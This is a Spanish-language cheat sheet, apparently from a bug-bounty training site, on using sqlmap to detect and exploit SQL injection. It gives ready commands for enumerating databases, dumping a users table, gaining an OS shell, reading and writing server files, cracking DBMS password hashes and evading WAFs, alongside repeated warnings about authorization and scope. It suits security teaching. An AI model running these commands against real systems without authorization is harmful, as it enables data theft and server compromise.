Saltearse al contenido

sqlmap

sqlmap automatiza la detección y explotación de inyección SQL (ver web, el área de web cubre SQLi en detalle). Prueba automáticamente múltiples técnicas, extrae datos, e incluso puede lograr ejecución de comandos en el SGBD. Es potente, pero conviene entender la SQLi “a mano” para usarlo bien.

# desde una URL con parámetro
sqlmap -u 'https://host/item?id=1' --batch
# desde una petición capturada en Burp (lo más fiable: respeta cookies/headers)
sqlmap -r request.txt --batch
# POST, cookie, cabecera concretos
sqlmap -u host --data='id=1' --cookie='sess=...' -p id
sqlmap -r req.txt --dbs # enumerar bases de datos
sqlmap -r req.txt -D tienda --tables # tablas de una BD
sqlmap -r req.txt -D tienda -T users --columns
sqlmap -r req.txt -D tienda -T users --dump # volcar datos (¡solo lo autorizado!)
sqlmap -r req.txt --current-user --is-dba # usuario actual y si es DBA
-p param parámetro a probar (o deja que sqlmap los detecte)
--level 1-5 amplía dónde busca (cabeceras, cookies...) ; --risk 1-3 técnicas más agresivas
--technique B(lind) E(rror) U(nion) S(tacked) T(ime) Q(uery)
--dbms mysql forzar el motor si lo conoces (más rápido)
--tamper scripts para evadir WAF (ver web-wafbypass) -> con cabeza
--batch no preguntar (usa valores por defecto)
--os-shell intentar shell de SO (si el SGBD/privilegios lo permiten)
--file-read / --file-write leer/escribir ficheros en el servidor
--passwords volcar y crackear hashes de usuarios del SGBD (ver tool-hashcat)
# estas acciones son de ALTO impacto -> solo con autorización explícita y acotando el daño
- pasar la petición de Burp (-r) es más fiable que construir la URL a mano
- empezar suave (--level/--risk bajos) y subir si hace falta; no masificar
- entender la SQLi manualmente (ver web) para interpretar y guiar a sqlmap
- en bug bounty: no volcar datos reales de usuarios -> PoC mínima (bb-scope)
  • Pasar la petición de Burp (-r) es la forma más fiable (respeta sesión/cabeceras).
  • Subir --level/--risk solo si hace falta; --tamper para WAF (Evasión de WAF) con cabeza.
  • Acciones de alto impacto (--os-shell, --dump) solo autorizadas y con PoC mínima (Leer el scope & reglas).
  • Entender la SQLi a mano (área Web) es clave para usar sqlmap con criterio.
  • Dale una petición real (-r request.txt desde Burp) en vez de montar la URL a mano; así captura cookies y cabeceras.
  • Error típico: ir directo a --dump de todo; empieza con --dbs/--tables y limita; respeta el scope y el impacto demostrado.
  • Ajusta --level/--risk con cabeza (risk alto puede modificar datos); usa --technique y --tamper contra WAF.
  • Marca el parámetro con * o -p; para APIs/JSON usa el flag adecuado y verifica manualmente antes de fiarte.
  • Capturar la petición vulnerable en Burp y usar -r
  • Detectar la inyección (técnica y motor)
  • Enumerar dbs/tablas/columnas progresivamente
  • —level/—risk ajustados; —tamper si hay WAF (con cabeza)
  • PoC mínima: no volcar datos reales de usuarios (Leer el scope & reglas)
  • Valorar impacto (os-shell/file-read) solo si autorizado
  • Documentar para el reporte (Escribir un buen reporte)